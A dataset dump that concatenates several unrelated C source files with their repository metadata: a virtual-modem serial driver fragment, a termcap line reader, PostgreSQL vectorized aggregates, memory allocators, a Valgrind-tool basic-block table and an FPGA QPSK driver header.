PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
KIRQL OldIrql;
PIRP CurrentWaitIrp=NULL;
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
if (deviceExtension->ConnectionStateChanged) {
//
// state changed
//
deviceExtension->ConnectionStateChanged=FALSE;
if (deviceExtension->CurrentlyConnected) {
//
// now it is connected, raise CD
//
deviceExtension->ModemStatus |= SERIAL_DCD_STATE;
} else {
//
// not connected any more, clear CD
//
deviceExtension->ModemStatus &= ~(SERIAL_DCD_STATE);
}
if (deviceExtension->CurrentMask & SERIAL_EV_RLSD) {
//
// app want's to know about these changes, tell it
//
CurrentWaitIrp=deviceExtension->CurrentMaskIrp;
deviceExtension->CurrentMaskIrp=NULL;
}
}
KeReleaseSpinLock( &deviceExtension->SpinLock, OldIrql);
if (CurrentWaitIrp != NULL) {
D_TRACE(DbgPrint("FAKEMODEM: ProcessConectionState\n");)
*((PULONG)CurrentWaitIrp->AssociatedIrp.SystemBuffer)=SERIAL_EV_RLSD;
CurrentWaitIrp->IoStatus.Information=sizeof(ULONG);
RemoveReferenceAndCompleteRequest(
deviceExtension->DeviceObject, CurrentWaitIrp, STATUS_SUCCESS);
}
return;
}
| 2.0625 | 2 |
2024-11-18T18:39:45.268148+00:00 | 2018-02-11T16:29:09 | 71750b3fffa2a2c990c34358df35f5802ea33b68 | {
"blob_id": "71750b3fffa2a2c990c34358df35f5802ea33b68",
"branch_name": "refs/heads/master",
"committer_date": "2018-02-11T16:29:09",
"content_id": "0b467e3b2fa1554fdaf928b835614c00022ecb97",
"detected_licenses": [
"MIT"
],
"directory_id": "b26a59d78f7409ab0d047c7ef397c0b7117e4588",
"extension": "c",
"filename": "take_input.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2449,
"license": "MIT",
"license_type": "permissive",
"path": "/srcs/take_input.c",
"provenance": "stackv2-0030.json.gz:2355",
"repo_name": "dvdovenko/taskmaster",
"revision_date": "2018-02-11T16:29:09",
"revision_id": "be3f7f2a2c156232cf54c18e5b89f5676ec76280",
"snapshot_id": "322d724151ba9df87edc00d0cb5a24ace9519ce3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/dvdovenko/taskmaster/be3f7f2a2c156232cf54c18e5b89f5676ec76280/srcs/take_input.c",
"visit_date": "2021-09-06T21:20:40.515497"
} | stackv2 | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* take_input.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: dvdovenk <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/05/07 16:10:29 by dvdovenk #+# #+# */
/* Updated: 2017/05/07 16:10:30 by dvdovenk ### ########.fr */
/* */
/* ************************************************************************** */
#include "../includes/ft_lib.h"
void get_line_again(t_read *read)
{
ft_bzero(read->cmd, 1024);
read->his_pos = 0;
termcap_do("do");
termcap_goto("ch", 0, 0);
termcap_do("cd");
get_line(read);
}
void insert_char(t_read *read, char key)
{
ft_memmove((read->cmd + read->pos + 1), (read->cmd + read->pos),
ft_strlen((read->cmd + read->pos)) + 1);
read->size++;
read->cmd[read->pos] = key;
read->remember_insert = read->pos + 1;
print(read);
termcap_home(read);
read->pos = read->remember_insert;
place_cursor(read);
}
int processing_key(t_read *read)
{
int status;
if (read->key[0] == '\e')
status = actions_extended(read);
else
status = actions_regular(read);
return (status);
}
void get_line(t_read *read)
{
read->pos = 0;
read->size = 0;
ft_printf("{#bold}{#yellow}%s {#green}/~> {#eoc}", read->prompt);
while (42)
{
read->key[0] = ft_getchar();
if (processing_key(read) == 0)
break ;
}
if (read->cmd[0] == '\0' || !check_correct(read))
get_line_again(read);
else if (read->cmd[0] != 'E' && read->cmd[1] != 'O' &&
read->cmd[2] != 'F' && read->cmd[3] != '\0')
termcap_end(read);
}
void read_input(t_sh *shell)
{
shell->read = read_init(shell->history, shell->prompt);
controlled_termios(shell);
get_line(shell->read);
reset_termios(shell);
if (ft_strcmp(shell->read->cmd, "EOF") == 0)
{
ft_printf("shutdown");
shell->input = ft_strdup("shutdown");
}
else
shell->input = ft_strdup(shell->read->cmd);
update_history(shell);
delete_read(shell->read);
free(shell->read);
write(1, "\n", 1);
}
| 2.421875 | 2 |
2024-11-18T18:39:46.006832+00:00 | 2019-12-03T02:11:01 | b30c7e963610adbd2544744da5dd2fe2978bb29f | {
"blob_id": "b30c7e963610adbd2544744da5dd2fe2978bb29f",
"branch_name": "refs/heads/master",
"committer_date": "2019-12-03T02:11:01",
"content_id": "c4cfa4de09346028f91c44e8d814d46c24f3a33d",
"detected_licenses": [
"PostgreSQL"
],
"directory_id": "7411cd277968dab5237f5779e7a4fd9b81b26a22",
"extension": "c",
"filename": "vint.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3472,
"license": "PostgreSQL",
"license_type": "permissive",
"path": "/vtype/vint.c",
"provenance": "stackv2-0030.json.gz:2483",
"repo_name": "higuoxing/vectorize_engine",
"revision_date": "2019-12-03T02:11:01",
"revision_id": "e886c5d2b3e61d1c1e8b34cfa46664a454a7ef05",
"snapshot_id": "ebabee2c1bf6cedbb0cd0f6a7d0c34fd04840c66",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/higuoxing/vectorize_engine/e886c5d2b3e61d1c1e8b34cfa46664a454a7ef05/vtype/vint.c",
"visit_date": "2022-09-15T20:25:23.861547"
} | stackv2 | #include "vint.h"
#include "vtype.h"
PG_FUNCTION_INFO_V1(vint8inc_any);
PG_FUNCTION_INFO_V1(vint4_sum);
PG_FUNCTION_INFO_V1(vint8inc);
Datum vint8inc_any(PG_FUNCTION_ARGS)
{
int64 result;
int64 arg;
int i;
char **entries;
vtype *batch;
Datum *transVal;
int32 groupOffset = PG_GETARG_INT32(1);
if (groupOffset < 0)
{
/* Not called as an aggregate, so just do it the dumb way */
arg = PG_GETARG_INT64(0);
batch = (vtype *) PG_GETARG_POINTER(2);
result = arg;
for (i = 0; i < BATCHSIZE; i++)
{
if (batch->skipref[i])
continue;
result++;
}
/* Overflow check */
if (result < 0 && arg > 0)
ereport(ERROR,
(errcode(ERRCODE_NUMERIC_VALUE_OUT_OF_RANGE),
errmsg("bigint out of range")));
PG_RETURN_INT64(result);
}
entries = (char **)PG_GETARG_POINTER(0);
batch = (vtype *) PG_GETARG_POINTER(2);
for (i = 0; i < BATCHSIZE; i++)
{
if (batch->skipref[i])
continue;
transVal = (Datum *)(entries[i] + groupOffset);
arg = DatumGetInt64(*transVal);
result = arg + 1;
/* Overflow check */
if (result < 0 && arg > 0)
ereport(ERROR,
(errcode(ERRCODE_NUMERIC_VALUE_OUT_OF_RANGE),
errmsg("bigint out of range")));
*transVal = Int64GetDatum(result);
}
PG_RETURN_INT64(0);
}
Datum
vint4_sum(PG_FUNCTION_ARGS)
{
char **entries;
vtype *batch;
int i;
int64 result;
Datum *transVal;
int32 groupOffset = PG_GETARG_INT32(1);
#if 0
if (PG_ARGISNULL(0))
{
/* No non-null input seen so far... */
if (PG_ARGISNULL(1))
PG_RETURN_NULL(); /* still no non-null */
/* This is the first non-null input. */
newval = (int64) PG_GETARG_INT32(1);
PG_RETURN_INT64(newval);
}
#endif
if (groupOffset < 0)
{
/* Not called as an aggregate, so just do it the dumb way */
result = PG_GETARG_INT64(0);
batch = (vtype *) PG_GETARG_POINTER(2);
for (i = 0; i < BATCHSIZE; i++)
{
if (batch->skipref[i])
continue;
result += DatumGetInt32(batch->values[i]);
}
PG_RETURN_INT64(result);
}
entries = (char **)PG_GETARG_POINTER(0);
batch = (vtype *) PG_GETARG_POINTER(2);
for (i = 0; i < BATCHSIZE; i++)
{
if (batch->skipref[i])
continue;
transVal = (Datum *)(entries[i] + groupOffset);
result = DatumGetInt64(*transVal);
result += DatumGetInt32(batch->values[i]);
*transVal = Int64GetDatum(result);
}
PG_RETURN_INT64(0);
}
Datum vint8inc(PG_FUNCTION_ARGS)
{
int64 result;
int64 arg;
int i;
char **entries;
vtype *batch;
Datum *transVal;
int32 groupOffset = PG_GETARG_INT32(1);
if (groupOffset < 0)
{
/* Not called as an aggregate, so just do it the dumb way */
result = arg = PG_GETARG_INT64(0);
batch = (vtype *) PG_GETARG_POINTER(2);
for (i = 0; i < BATCHSIZE; i++)
{
if (batch->skipref[i])
continue;
result++;
}
/* Overflow check */
if (result < 0 && arg > 0)
ereport(ERROR,
(errcode(ERRCODE_NUMERIC_VALUE_OUT_OF_RANGE),
errmsg("bigint out of range")));
PG_RETURN_INT64(result);
}
entries = (char **)PG_GETARG_POINTER(0);
batch = (vtype *) PG_GETARG_POINTER(2);
for (i = 0; i < BATCHSIZE; i++)
{
if (batch->skipref[i])
continue;
transVal = (Datum *)(entries[i] + groupOffset);
arg = DatumGetInt64(*transVal);
result = arg + 1;
/* Overflow check */
if (result < 0 && arg > 0)
ereport(ERROR,
(errcode(ERRCODE_NUMERIC_VALUE_OUT_OF_RANGE),
errmsg("bigint out of range")));
*transVal = Int64GetDatum(result);
}
PG_RETURN_INT64(0);
}
| 2.5625 | 3 |
2024-11-18T18:39:46.077631+00:00 | 2023-04-26T00:26:52 | 84fb52fc8212fa0ce6bfdd4dc98e4687ef919b7e | {
"blob_id": "84fb52fc8212fa0ce6bfdd4dc98e4687ef919b7e",
"branch_name": "refs/heads/master",
"committer_date": "2023-04-26T00:26:52",
"content_id": "bed02624a38e495a6f6c88ea7258299078b1f6d8",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "413f74522fcf3276d271ae9241a7eb9168ee49db",
"extension": "c",
"filename": "myMalloc.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 228117517,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1716,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/00_graph_bench/src/utils/myMalloc.c",
"provenance": "stackv2-0030.json.gz:2611",
"repo_name": "atmughrabi/OpenGraph",
"revision_date": "2023-04-26T00:26:52",
"revision_id": "867dfa72975cd730f378d1f42a1a3fe21db06f7a",
"snapshot_id": "fe9efb7e37574312818ee1f958a7afdf07467482",
"src_encoding": "UTF-8",
"star_events_count": 11,
"url": "https://raw.githubusercontent.com/atmughrabi/OpenGraph/867dfa72975cd730f378d1f42a1a3fe21db06f7a/00_graph_bench/src/utils/myMalloc.c",
"visit_date": "2023-04-28T13:56:37.509342"
} | stackv2 | // -----------------------------------------------------------------------------
//
// "00_AccelGraph"
//
// -----------------------------------------------------------------------------
// Copyright (c) 2014-2019 All rights reserved
// -----------------------------------------------------------------------------
// Author : Abdullah Mughrabi
// Email : [email protected]||[email protected]
// File : myMalloc.c
// Create : 2019-06-21 17:15:17
// Revise : 2019-09-28 15:37:12
// Editor : Abdullah Mughrabi
// -----------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <assert.h>
#include "myMalloc.h"
extern int errno ;
void *aligned_malloc( size_t size )
{
// void *dataOut = aligned_alloc(CACHELINE_BYTES, size);
void *dataOut = NULL ;
int err = posix_memalign(
(void **)&dataOut, CACHELINE_BYTES, size);
assert(err == 0 && "Error, aligned_alloc!");
// if ( !dataOut )
// {
// fprintf ( stderr, "Error, aligned_alloc: %s\n", strerror ( errno )) ;
// exit ( EXIT_FAILURE ) ;
// }
return dataOut ;
}
void *regular_malloc( size_t size )
{
// void *dataOut = aligned_alloc(CACHELINE_BYTES, size);
void *dataOut = malloc ( size ) ;
if ( !dataOut )
{
fprintf ( stderr, "Error, malloc: %s\n", strerror ( errno )) ;
exit ( EXIT_FAILURE ) ;
}
return dataOut ;
}
void *my_malloc( size_t size )
{
// void *dataOut = aligned_alloc(CACHELINE_BYTES, size);
void *dataOut = NULL;
#if ALIGNED
dataOut = aligned_malloc(size);
#else
dataOut = regular_malloc(size);
#endif
return dataOut;
}
| 2.578125 | 3 |
2024-11-18T18:39:46.169858+00:00 | 2021-01-05T19:17:42 | aa1b19d277efc4abef2ffd7d3c8e838447ca831f | {
"blob_id": "aa1b19d277efc4abef2ffd7d3c8e838447ca831f",
"branch_name": "refs/heads/master",
"committer_date": "2021-01-05T19:17:42",
"content_id": "d7022a682cd06091ace7567c6bdae29280daffd2",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "c43c6c2951181722e42b8559e8e0624276a59f8e",
"extension": "c",
"filename": "gn_bb.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4585,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/Frontends/Gengrind/gengrind/gn_bb.c",
"provenance": "stackv2-0030.json.gz:2740",
"repo_name": "MemMeta/prism",
"revision_date": "2021-01-05T19:17:42",
"revision_id": "525f6a936ce12517230593c7eeecf1d604845a18",
"snapshot_id": "e7d8a5f644c870739f12b37534715b2219e278a8",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/MemMeta/prism/525f6a936ce12517230593c7eeecf1d604845a18/src/Frontends/Gengrind/gengrind/gn_bb.c",
"visit_date": "2023-03-11T07:48:11.112257"
} | stackv2 | #include "gn_bb.h"
#include "gn_fn.h"
#include "gn_clo.h"
#include "gn_debug.h"
BBTable GN_(allBBs);
BBInfo *GN_(lastBB);
ULong GN_(bbExecutions);
ULong GN_(bbSeen);
//-------------------------------------------------------------------------------------------------
/** Helper function definitions **/
static inline Int bbHashIdx(ObjNode *obj, PtrdiffT offset, UInt size)
{
return (((Addr)obj + offset) % size);
}
static void resizeBBTable(void)
{
/* Double size
* Requires rehashing all BBs in the current table */
UInt conflicts1 = 0, conflicts2 = 0; // for hash table stats
UInt newcap = 2 * GN_(allBBs).capacity + 3;
BBInfo **newtable = VG_(malloc)("gn.bb.resize.1", newcap * sizeof(BBInfo*));
for (UInt i=0; i<newcap; ++i)
newtable[i] = NULL;
for (UInt i=0; i<GN_(allBBs).capacity; ++i) {
if (GN_(allBBs).table[i] == NULL)
continue;
BBInfo *curr = GN_(allBBs).table[i];
while (curr != NULL) {
BBInfo *next = curr->next;
UInt newidx = bbHashIdx(curr->obj, curr->offset, newcap);
curr->next = newtable[newidx];
newtable[newidx] = curr;
/* collect some hash table stats */
if (curr->next) {
conflicts1++;
if (curr->next->next) {
conflicts2++;
}
}
curr = next;
}
}
VG_(free)(GN_(allBBs).table);
GN_(allBBs).capacity = newcap;
GN_(allBBs).table = newtable;
}
static BBInfo* newBB(ObjNode *obj, PtrdiffT offset)
{
BBInfo *bb;
GN_(allBBs).entries++;
/* Use Callgrind's hash implementation
* resize if filled more than 80% */
if (10 * GN_(allBBs).entries / GN_(allBBs).capacity > 8)
resizeBBTable();
bb = VG_(malloc)("gn.bb.newbb.1", sizeof(BBInfo));
bb->offset = offset;
bb->obj = obj;
bb->sectKind = VG_(DebugInfo_sect_kind)(NULL, offset + obj->offset);
// To be set during instrumentation
bb->eventsTotal = 0;
bb->jmpCount = 0;
bb->jmps = NULL;
bb->lruToJmp = NULL;
bb->lruFromJmp = NULL;
bb->lastJmpInverted = False;
bb->uid = GN_(bbSeen)++;
/* insert into hash */
UInt idx = bbHashIdx(obj, offset, GN_(allBBs).capacity);
bb->next = GN_(allBBs).table[idx];
GN_(allBBs).table[idx] = bb;
/* set up function info */
bb->fn = NULL;
bb->isFnEntry = False;
GN_(getFnNode)(bb);
return bb;
}
//-------------------------------------------------------------------------------------------------
/** External function definitions **/
BBInfo* GN_(getBBInfo)(Addr addr)
{
BBInfo *bb;
ObjNode *obj = GN_(getObjNodeByAddr)(addr);
PtrdiffT offset = addr - obj->offset;
Int idx = bbHashIdx(obj, offset, GN_(allBBs).capacity);
bb = GN_(allBBs).table[idx];
while (bb) {
if (bb->obj == obj && bb->offset == offset)
break;
bb = bb->next;
}
if (bb == NULL)
bb = newBB(obj, offset);
return bb;
}
Int GN_(initBBState)(BBState *bbState, IRSB *obb, IRType hWordTy)
{
Int i = 0;
bbState->obb = obb;
bbState->eventsToFlush = 0;
// Set up NBB for instrumentation
bbState->nbb = deepCopyIRSBExceptStmts(obb);
bbState->hWordTy = hWordTy;
// Copy verbatim any IR preamble preceding the first IMark
while (i < obb->stmts_used && obb->stmts[i]->tag != Ist_IMark) {
addStmtToIRSB( bbState->nbb, obb->stmts[i] );
i++;
}
// Get the first statement
GN_ASSERT(obb->stmts_used > 0);
GN_ASSERT(i < obb->stmts_used);
GN_ASSERT(Ist_IMark == obb->stmts[i]->tag);
// Any extra state needed
bbState->jmpsPassed = 0;
if (GN_(clo).bbinfo_needed == True) {
const IRStmt *st = obb->stmts[i];
Addr origAddr = st->Ist.IMark.addr + st->Ist.IMark.delta;
bbState->bbInfo = GN_(getBBInfo)(origAddr);
}
else {
bbState->bbInfo = NULL;
}
/* return index of first instruction IR */
return i;
}
void GN_(initAllBBsTable)()
{
/* Once again, taken from Callgrind */
GN_(allBBs).capacity = 8347;
GN_(allBBs).entries = 0;
GN_(allBBs).table = VG_(malloc)("gn.bb.inittable.1",
GN_(allBBs).capacity * sizeof(BBInfo*));
for (UInt i=0; i<GN_(allBBs).capacity; ++i)
GN_(allBBs).table[i] = NULL;
}
void GN_(initBB)()
{
GN_(initAllBBsTable)();
GN_(lastBB) = NULL;
GN_(bbExecutions) = 0;
GN_(bbSeen) = 0;
}
| 2.125 | 2 |
2024-11-18T18:39:46.567945+00:00 | 2023-08-19T09:34:23 | fa22101ba7fc231ccf2dff6c503ac17e4e58a460 | {
"blob_id": "fa22101ba7fc231ccf2dff6c503ac17e4e58a460",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-19T09:34:23",
"content_id": "ef1f66f9fd5354498f25740769416ea72a5e1dbc",
"detected_licenses": [
"MIT"
],
"directory_id": "b65dd6deca2b0c8fe4fd6175b73f03e25495c9a8",
"extension": "h",
"filename": "alloc.h",
"fork_events_count": 13,
"gha_created_at": "2012-04-04T19:41:12",
"gha_event_created_at": "2023-03-16T07:55:02",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 3932472,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1033,
"license": "MIT",
"license_type": "permissive",
"path": "/fc-solve/rejects/alloc.h",
"provenance": "stackv2-0030.json.gz:2868",
"repo_name": "shlomif/fc-solve",
"revision_date": "2023-08-19T09:34:23",
"revision_id": "09e23e309459dbe6675c49a8d2198471a8faa24d",
"snapshot_id": "935f1d7238ac66a88aa5311a471902992ef7c613",
"src_encoding": "UTF-8",
"star_events_count": 63,
"url": "https://raw.githubusercontent.com/shlomif/fc-solve/09e23e309459dbe6675c49a8d2198471a8faa24d/fc-solve/rejects/alloc.h",
"visit_date": "2023-08-22T12:22:42.443908"
} | stackv2 | extern char *
fc_solve_compact_allocator_alloc(
fcs_compact_allocator_t * allocator,
int how_much
);
extern void fc_solve_compact_allocator_release(fcs_compact_allocator_t * allocator);
extern void fc_solve_compact_allocator_foreach(
fcs_compact_allocator_t * allocator,
int data_width,
void (*ptr_function)(void *, void *),
void * context
);
#define fcs_compact_alloc_into_var_MYSIZE(what_t) ((sizeof(what_t))+(sizeof(char *)-((sizeof(what_t))&(sizeof(char *)-1))))
#define fcs_compact_alloc_into_var(result,allocator_orig,what_t) \
{ \
register fcs_compact_allocator_t * allocator = (allocator_orig); \
if (allocator->max_ptr - allocator->ptr < fcs_compact_alloc_into_var_MYSIZE(what_t)) \
{ \
fc_solve_compact_allocator_extend(allocator); \
} \
allocator->rollback_ptr = allocator->ptr; \
allocator->ptr += fcs_compact_alloc_into_var_MYSIZE(what_t); \
result = (what_t *)allocator->rollback_ptr; \
}
| 2.265625 | 2 |
2024-11-18T18:39:47.284232+00:00 | 2023-05-24T13:16:10 | 2d18c2f6f8d1c51fe3d143d89ba5dfff614640f7 | {
"blob_id": "2d18c2f6f8d1c51fe3d143d89ba5dfff614640f7",
"branch_name": "refs/heads/master",
"committer_date": "2023-05-24T13:16:10",
"content_id": "747c44acfd9ff23be11ff87a7a852f4421c40ae4",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "d732064f481a678f0b6610a9dbf0d7fdebad68a7",
"extension": "h",
"filename": "axi_qpsk_rx_dec.h",
"fork_events_count": 53,
"gha_created_at": "2019-01-15T16:23:14",
"gha_event_created_at": "2023-05-24T13:15:22",
"gha_language": "VHDL",
"gha_license_id": "BSD-3-Clause",
"github_id": 165884202,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5331,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/boards/ip/iprepo/rx/rx_decimation/sysgen/axi_qpsk_rx_dec.h",
"provenance": "stackv2-0030.json.gz:3126",
"repo_name": "strath-sdr/rfsoc_qpsk",
"revision_date": "2023-05-24T13:16:10",
"revision_id": "ff4f4d3b6aa3ae20dd62cda0744fd7e2cb6ca723",
"snapshot_id": "3279f5d6ea2548528fedab3b683d41fe7d5e73f6",
"src_encoding": "UTF-8",
"star_events_count": 70,
"url": "https://raw.githubusercontent.com/strath-sdr/rfsoc_qpsk/ff4f4d3b6aa3ae20dd62cda0744fd7e2cb6ca723/boards/ip/iprepo/rx/rx_decimation/sysgen/axi_qpsk_rx_dec.h",
"visit_date": "2023-05-25T06:22:27.221481"
} | stackv2 | #ifndef AXI_QPSK_RX_DEC__H
#define AXI_QPSK_RX_DEC__H
#ifdef __cplusplus
extern "C" {
#endif
/***************************** Include Files *********************************/
#ifndef __linux__
#include "xil_types.h"
#include "xil_assert.h"
#include "xstatus.h"
#include "xil_io.h"
#else
#include <stdint.h>
#include <assert.h>
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stddef.h>
#endif
#include "axi_qpsk_rx_dec_hw.h"
/**************************** Type Definitions ******************************/
#ifdef __linux__
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#else
typedef struct {
u16 DeviceId;
u32 axi_qpsk_rx_dec_BaseAddress;
} axi_qpsk_rx_dec_Config;
#endif
/**
* The axi_qpsk_rx_dec driver instance data. The user is required to
* allocate a variable of this type for every axi_qpsk_rx_dec device in the system.
* A pointer to a variable of this type is then passed to the driver
* API functions.
*/
typedef struct {
u32 axi_qpsk_rx_dec_BaseAddress;
u32 IsReady;
} axi_qpsk_rx_dec;
/***************** Macros (Inline Functions) Definitions *********************/
#ifndef __linux__
#define axi_qpsk_rx_dec_WriteReg(BaseAddress, RegOffset, Data) \
Xil_Out32((BaseAddress) + (RegOffset), (u32)(Data))
#define axi_qpsk_rx_dec_ReadReg(BaseAddress, RegOffset) \
Xil_In32((BaseAddress) + (RegOffset))
#else
#define axi_qpsk_rx_dec_WriteReg(BaseAddress, RegOffset, Data) \
*(volatile u32*)((BaseAddress) + (RegOffset)) = (u32)(Data)
#define axi_qpsk_rx_dec_ReadReg(BaseAddress, RegOffset) \
*(volatile u32*)((BaseAddress) + (RegOffset))
#define Xil_AssertVoid(expr) assert(expr)
#define Xil_AssertNonvoid(expr) assert(expr)
#define XST_SUCCESS 0
#define XST_DEVICE_NOT_FOUND 2
#define XST_OPEN_DEVICE_FAILED 3
#define XIL_COMPONENT_IS_READY 1
#endif
/************************** Function Prototypes *****************************/
#ifndef __linux__
int axi_qpsk_rx_dec_Initialize(axi_qpsk_rx_dec *InstancePtr, u16 DeviceId);
axi_qpsk_rx_dec_Config* axi_qpsk_rx_dec_LookupConfig(u16 DeviceId);
int axi_qpsk_rx_dec_CfgInitialize(axi_qpsk_rx_dec *InstancePtr, axi_qpsk_rx_dec_Config *ConfigPtr);
#else
int axi_qpsk_rx_dec_Initialize(axi_qpsk_rx_dec *InstancePtr, const char* InstanceName);
int axi_qpsk_rx_dec_Release(axi_qpsk_rx_dec *InstancePtr);
#endif
/**
* Write to transfer gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the transfer instance to operate on.
* @param Data is value to be written to gateway transfer.
*
* @return None.
*
* @note .
*
*/
void axi_qpsk_rx_dec_transfer_write(axi_qpsk_rx_dec *InstancePtr, u32 Data);
/**
* Read from transfer gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the transfer instance to operate on.
*
* @return u32
*
* @note .
*
*/
u32 axi_qpsk_rx_dec_transfer_read(axi_qpsk_rx_dec *InstancePtr);
/**
* Write to auto_restart gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the auto_restart instance to operate on.
* @param Data is value to be written to gateway auto_restart.
*
* @return None.
*
* @note .
*
*/
void axi_qpsk_rx_dec_auto_restart_write(axi_qpsk_rx_dec *InstancePtr, u32 Data);
/**
* Read from auto_restart gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the auto_restart instance to operate on.
*
* @return u32
*
* @note .
*
*/
u32 axi_qpsk_rx_dec_auto_restart_read(axi_qpsk_rx_dec *InstancePtr);
/**
* Write to rxreset gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the rxreset instance to operate on.
* @param Data is value to be written to gateway rxreset.
*
* @return None.
*
* @note .
*
*/
void axi_qpsk_rx_dec_rxreset_write(axi_qpsk_rx_dec *InstancePtr, u32 Data);
/**
* Read from rxreset gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the rxreset instance to operate on.
*
* @return u32
*
* @note .
*
*/
u32 axi_qpsk_rx_dec_rxreset_read(axi_qpsk_rx_dec *InstancePtr);
/**
* Write to packetsizerf gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the packetsizerf instance to operate on.
* @param Data is value to be written to gateway packetsizerf.
*
* @return None.
*
* @note .
*
*/
void axi_qpsk_rx_dec_packetsizerf_write(axi_qpsk_rx_dec *InstancePtr, u32 Data);
/**
* Read from packetsizerf gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the packetsizerf instance to operate on.
*
* @return u32
*
* @note .
*
*/
u32 axi_qpsk_rx_dec_packetsizerf_read(axi_qpsk_rx_dec *InstancePtr);
/**
* Write to enable gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the enable instance to operate on.
* @param Data is value to be written to gateway enable.
*
* @return None.
*
* @note .
*
*/
void axi_qpsk_rx_dec_enable_write(axi_qpsk_rx_dec *InstancePtr, u32 Data);
/**
* Read from enable gateway of axi_qpsk_rx_dec. Assignments are LSB-justified.
*
* @param InstancePtr is the enable instance to operate on.
*
* @return u32
*
* @note .
*
*/
u32 axi_qpsk_rx_dec_enable_read(axi_qpsk_rx_dec *InstancePtr);
#ifdef __cplusplus
}
#endif
#endif
| 2.125 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.